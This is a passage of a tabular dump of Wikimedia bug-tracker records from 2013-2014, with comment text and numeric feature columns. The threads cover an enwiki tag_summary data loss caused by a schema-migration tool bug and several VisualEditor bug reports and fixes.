Currently we are rebuilding tag_summary based on change_tag data. That will complete within 30 mins at the time of writing this comment.",,,1373667429,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,1.3333333333333333,0.0,0.0,2.0,0.3333333333333333,7.666666666666667,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,1.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,4.0,11.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,2.6666666666666665,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,15.666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,8.333333333333334,2.6666666666666665,9.0,1.0,1.6666666666666667,10.666666666666666,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,1.3333333333333333,11.333333333333334,5.666666666666667,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,3.3333333333333335,0.0,3.3333333333333335,0.0,0.0,0.0,4.410889956531686,0.7154350644398688,"Firstly, we've determined this problem occurred due to an (apparent) bug in pt-online-schema-change when using a combination of:

- A table without primary key
- A table with unique indexes that all include nullable columns
- An unfortunately timed REPLACE statement in normal db traffic

Posc does online table alteration by:

- Creating a copy of the table with altered schema
- Setting triggers on the original table to keep the copy updated
- Copying data across using a batch process

In this case, posc set a DELETE trigger on tag_summary using a poor UNIQUE index (ts_log_id) with low cardinality and a nullable field. Then during the batching process, an external REPLACE statement with ts_log_id=NULL caused many too many rows to be deleted in the temporary table being altered. Given that many rows in tag_summary have ts_log_id=NULL, the table was massively reduced in size.

Now to the fix:

We've checked the other wikis and found no problems; only enwiki was affected.

Furthermore, only enwiki.tag_summary was affected. We've verified that enwiki.change_tag is complete and did not suffer the same problem. This was based on:

- Index cardinality and table size information collected before running the schema migration
- An investigation of the events in the binary log surrounding the migration period

Currently we are rebuilding tag_summary based on change_tag data. That will complete within 30 mins at the time of writing this comment."
237314,tag_summary missing records,"(In reply to comment #3)
> Was it determined if any other databases apart from en.wp's one were
> affected?

Not sure. The wikis that potentially may have this issue are:

+       'arwiki' => true,
+       'commonswiki' => true,
+       'cswiki' => true,
+       'dewiki' => true,
+       'elwiki' => true,
+       'enwiki' => true,
+       'enwikisource' => true,
+       'enwiktionary' => true,
+       'eswiki' => true,
+       'etwiki' => true,
+       'fawiki' => true,
+       'fiwiki' => true,
+       'frwiki' => true,
+       'hewiki' => true,
+       'huwiki' => true,
+       'idwiki' => true,
+       'itwiki' => true,
+       'jawiki' => true,
+       'ltwiki' => true,
+       'mrwiki' => true,
+       'nlwiki' => true,
+       'plwiki' => true,
+       'ptwiki' => true,
+       'rowiki' => true,
+       'ruwiki' => true,
+       'simplewiki' => true,
+       'svwiki' => true,
+       'trwiki' => true,
+       'ukwiki' => true,
+       'zhwiki' => true,

cf bug 40867#c6",,,1373662814,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.25,12.75,0.0,0.0,0.0,0.0,0.25,16.0,0.0,0.0,0.0,0.0,0.0,0.75,0.5,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,10.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.25,1.25,0.0,8.0,0.5,0.0,0.0,0.0,0.25,0.5,0.0,0.5,0.0,0.0,0.5,2.25,0.0,16.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,8.0,2.4599985307081984,0.26939465177784305,"(In reply to comment #3)
QUOTE
QUOTE

Not sure. The wikis that potentially may have this issue are:

+       'arwiki' => true,
+       'commonswiki' => true,
+       'cswiki' => true,
+       'dewiki' => true,
+       'elwiki' => true,
+       'enwiki' => true,
+       'enwikisource' => true,
+       'enwiktionary' => true,
+       'eswiki' => true,
+       'etwiki' => true,
+       'fawiki' => true,
+       'fiwiki' => true,
+       'frwiki' => true,
+       'hewiki' => true,
+       'huwiki' => true,
+       'idwiki' => true,
+       'itwiki' => true,
+       'jawiki' => true,
+       'ltwiki' => true,
+       'mrwiki' => true,
+       'nlwiki' => true,
+       'plwiki' => true,
+       'ptwiki' => true,
+       'rowiki' => true,
+       'ruwiki' => true,
+       'simplewiki' => true,
+       'svwiki' => true,
+       'trwiki' => true,
+       'ukwiki' => true,
+       'zhwiki' => true,

cf bug 40867#c6"
237308,tag_summary missing records,Was it determined if any other databases apart from en.wp's one were affected?,,,1373662581,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,1,,7.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Was it determined if any other databases apart from en.wp's one were affected?
237301,tag_summary missing records,"Sean and Asher narrowed this down to a problem with the schema change tool that we use, and are working on a strategy to fix the data.  This looks like it's strictly a db-related problem that once fixed should stay fixed (assuming we don't try another similar schema migration before an upstream fix is made to the migration tool)",,,1373662298,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,10.0,3.0,4.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.0,0.7794117647058824,"Sean and Asher narrowed this down to a problem with the schema change tool that we use, and are working on a strategy to fix the data.  This looks like it's strictly a db-related problem that once fixed should stay fixed (assuming we don't try another similar schema migration before an upstream fix is made to the migration tool)"
237297,tag_summary missing records,"Only seems to affect en.wp right now (works correctly on pl.wp and mw.org, for example).",,,1373656951,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,21.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,1.0,"Only seems to affect en.wp right now (works correctly on pl.wp and mw.org, for example)."
53235,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"I'm not entirely sure if this is a VE bug or a user bug, but it shows up under the needscheck tag, so presumably the VE knows something is wrong. We have several instances of categories being stripped from articles, including:

*https://en.wikipedia.org/w/index.php?title=2013%E2%80%9314_Juventus_F.C._season&curid=39905874&diff=563942424&oldid=563942210
*https://en.wikipedia.org/w/index.php?title=A._Dakshinamurthy&curid=16805989&diff=563911982&oldid=563853744
*https://en.wikipedia.org/w/index.php?title=Body_Party&curid=38681444&diff=563891098&oldid=563879499

In the last 12 hours or so.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373632740,1373662094.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-sojoibzwruxvdv55tvoj,task_description,resolved,True,c1,3,False,False,True,1,,1.0,1.0,1.0,1.0,1.0,7.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5783132530120483,0.6385542168674698,"I'm not entirely sure if this is a VE bug or a user bug, but it shows up under the needscheck tag, so presumably the VE knows something is wrong. We have several instances of categories being stripped from articles, including:

*URL
*URL
*URL

In the last 12 hours or so.

--------------------------
**Version**: unspecified
**Severity**: normal"
236203,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Change 73404 merged by jenkins-bot:
Fix annotated element alien metadata inside wrapped paragraph

https://gerrit.wikimedia.org/r/73404",,,1373662141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.157894736842105,1.0,"Change 73404 merged by jenkins-bot:
Fix annotated element alien metadata inside wrapped paragraph

GERRIT_URL"
236198,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Change 73404 had a related patch set uploaded by Esanders:
Fix annotated element alien metadata inside wrapped paragraph

https://gerrit.wikimedia.org/r/73404",,,1373637959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2727272727272725,1.0,"Change 73404 had a related patch set uploaded by Esanders:
Fix annotated element alien metadata inside wrapped paragraph

GERRIT_URL"
236193,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Looks like those pages have unclosed big/small annotations, which are wrapping all the content beneath them, including the categories. This is triggering a previously unseen bug in the converter.",,,1373637707,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,True,,,1,,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,4.771428571428571,0.8857142857142857,"Looks like those pages have unclosed big/small annotations, which are wrapping all the content beneath them, including the categories. This is triggering a previously unseen bug in the converter."
53234,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),"See https://en.wikipedia.org/w/index.php?title=Hungarian_algorithm&curid=2609001&diff=563951525&oldid=561480423 - another instance at https://en.wikipedia.org/w/index.php?title=Shannon_capacity_of_a_graph&curid=39932177&diff=563933550&oldid=563846095

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373632620,1373711757.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vq64xxj3d54xo3daemjh,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.96,0.6,"See URL - another instance at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
236146,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),"

*** This bug has been marked as a duplicate of bug 49873 ***",,,1373711757,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vq64xxj3d54xo3daemjh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49873 ***"
236140,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),Also https://en.wikipedia.org/w/index.php?title=Frobenius_solution_to_the_hypergeometric_equation&curid=16407499&diff=563915886&oldid=561013687,,,1373632675,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-vq64xxj3d54xo3daemjh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Also URL
53215,VisualEditor: Protected page warning message should include log entry,"Following on from bug 50415, the old warning/error messages included the most recent & relevant log entry, and a link to view the full log.

That functionality does not exist in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50415",High,80.0,1373598840,1395164341.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-toxebubahyyw4rmtx4vj,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.7058823529411766,0.6617647058823529,"Following on from bug 50415, the old warning/error messages included the most recent & relevant log entry, and a link to view the full log.

That functionality does not exist in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
235070,VisualEditor: Protected page warning message should include log entry,"Change 119210 merged by jenkins-bot:
Show last protection log entry and link to full protection log on protection notice

https://gerrit.wikimedia.org/r/119210",,,1395164023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-toxebubahyyw4rmtx4vj,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.88,"Change 119210 merged by jenkins-bot:
Show last protection log entry and link to full protection log on protection notice

GERRIT_URL"
235065,VisualEditor: Protected page warning message should include log entry,"Change 119210 had a related patch set uploaded by Alex Monk:
Show last protection log entry and link to full protection log on protection notice

https://gerrit.wikimedia.org/r/119210",,,1395094433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-toxebubahyyw4rmtx4vj,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.586206896551724,0.896551724137931,"Change 119210 had a related patch set uploaded by Alex Monk:
Show last protection log entry and link to full protection log on protection notice

GERRIT_URL"
53160,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"The source editor transcludes [[MediaWiki:Editpage-head-copy-warn]] above the edit window. But this does not appear anywhere when using the visual editor.

Note this is distinct from [[Mediawiki:Copyrightwarning]] which appears (in a tiny font) in the edit summary tool. The two messages are not the same and do different jobs - the first is a warning that copyrighted content is not acceptable and content must be verifiable, the second is a statement that by saving you release your contributions under cc-by-sa.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1373533020,1374675988.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_description,declined,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,2.0,7.0,4.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.5,0.0,1.5,1.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,1.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,7.0,4.5,5.5,2.0,2.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,1.5,6.0,2.0,0.0,0.0,0.0,1.5,0.0,1.0,2.0,0.0,1.5,0.0,0.0,2.0,4.000868055555555,0.6927083333333333,"The source editor transcludes [[MediaWiki:Editpage-head-copy-warn]] above the edit window. But this does not appear anywhere when using the visual editor.

Note this is distinct from [[Mediawiki:Copyrightwarning]] which appears (in a tiny font) in the edit summary tool. The two messages are not the same and do different jobs - the first is a warning that copyrighted content is not acceptable and content must be verifiable, the second is a statement that by saving you release your contributions under cc-by-sa.

--------------------------
**Version**: unspecified
**Severity**: minor"
232197,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"Er. What?

As I've said, VE is an extension. Parsoid is an extension. This page is not /based/ on a MediaWiki namespace page, it is based on a string in the i8on file. To fully deprecate it we'd have to find some way of fully suppressing it or remove it completely from mediawiki. This would impact not only wikis with the VE but also those without.

Moreover, I'm not sure how users receiving less information is, in this case, a problem, because I've never seen any evidence users actually /read/ those notices. I've been patrolling new pages since 2010; if CITE YOUR SOURCES! and the warning not to submit copyrighted content actually worked to inform people, I'd be the first person to hold my hands up and go ""this is awesome and we need to keep it"". They don't.

I'm (again) closing this as a WONTFIX. If people want to dispute that, I welcome an argument made as to how having this message helps - or how silently removing it from every Wikimedia instance of MediaWiki and dealing with the resulting fallout would be an effective use of our time.",,,1374675988,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,1.0,0.3333333333333333,1.6666666666666667,2.3333333333333335,2.0,0.3333333333333333,0.0,0.6666666666666666,2.3333333333333335,3.0,0.0,0.3333333333333333,0.0,4.0,0.6666666666666666,7.0,10.333333333333334,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,6.0,1.3333333333333333,2.3333333333333335,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,9.666666666666666,1.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,3.3333333333333335,9.333333333333334,2.6666666666666665,2.6666666666666665,9.333333333333334,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,7.0,10.333333333333334,3.6666666666666665,0.3333333333333333,1.0,0.0,7.0,0.0,1.6666666666666667,3.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,3.81906432748538,0.7710526315789474,"Er. What?

As I've said, VE is an extension. Parsoid is an extension. This page is not /based/ on a MediaWiki namespace page, it is based on a string in the i8on file. To fully deprecate it we'd have to find some way of fully suppressing it or remove it completely from mediawiki. This would impact not only wikis with the VE but also those without.

Moreover, I'm not sure how users receiving less information is, in this case, a problem, because I've never seen any evidence users actually /read/ those notices. I've been patrolling new pages since 2010; if CITE YOUR SOURCES! and the warning not to submit copyrighted content actually worked to inform people, I'd be the first person to hold my hands up and go ""this is awesome and we need to keep it"". They don't.

I'm (again) closing this as a WONTFIX. If people want to dispute that, I welcome an argument made as to how having this message helps - or how silently removing it from every Wikimedia instance of MediaWiki and dealing with the resulting fallout would be an effective use of our time."
232194,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"major->minor, so it isnt red anymore.",,,1374650680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,"major->minor, so it isnt red anymore."
232192,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"The problem doesnt go away because itwp deleted the message.

It still exists in enwp, zhwp, viwp & hrwp, of wikis above 100,000+ pages. (fawp has a commented out notice)  Possibly many more with less pages.
These messages informed the user about verifiability as well as licensing issues.

But if this message is truly not going to be displayed in VE, and VE is the way of the future, then the message should be deprecated and deleted from those wikis (with community consensus after explaining to them they have no other option :P), otherwise user's of VE receive less information then those of SE, for good or ill.  (in this case this bug should be moved over the core component)",,,1374644987,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0.5,0.0,0.0,2.0,0.5,3.5,0.5,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.5,6.0,12.5,0.0,0.5,1.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,3.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,5.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,12.5,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,1.0,1.5,0.0,0.0,3.8767123287671232,0.8013698630136986,"The problem doesnt go away because itwp deleted the message.

It still exists in enwp, zhwp, viwp & hrwp, of wikis above 100,000+ pages. (fawp has a commented out notice)  Possibly many more with less pages.
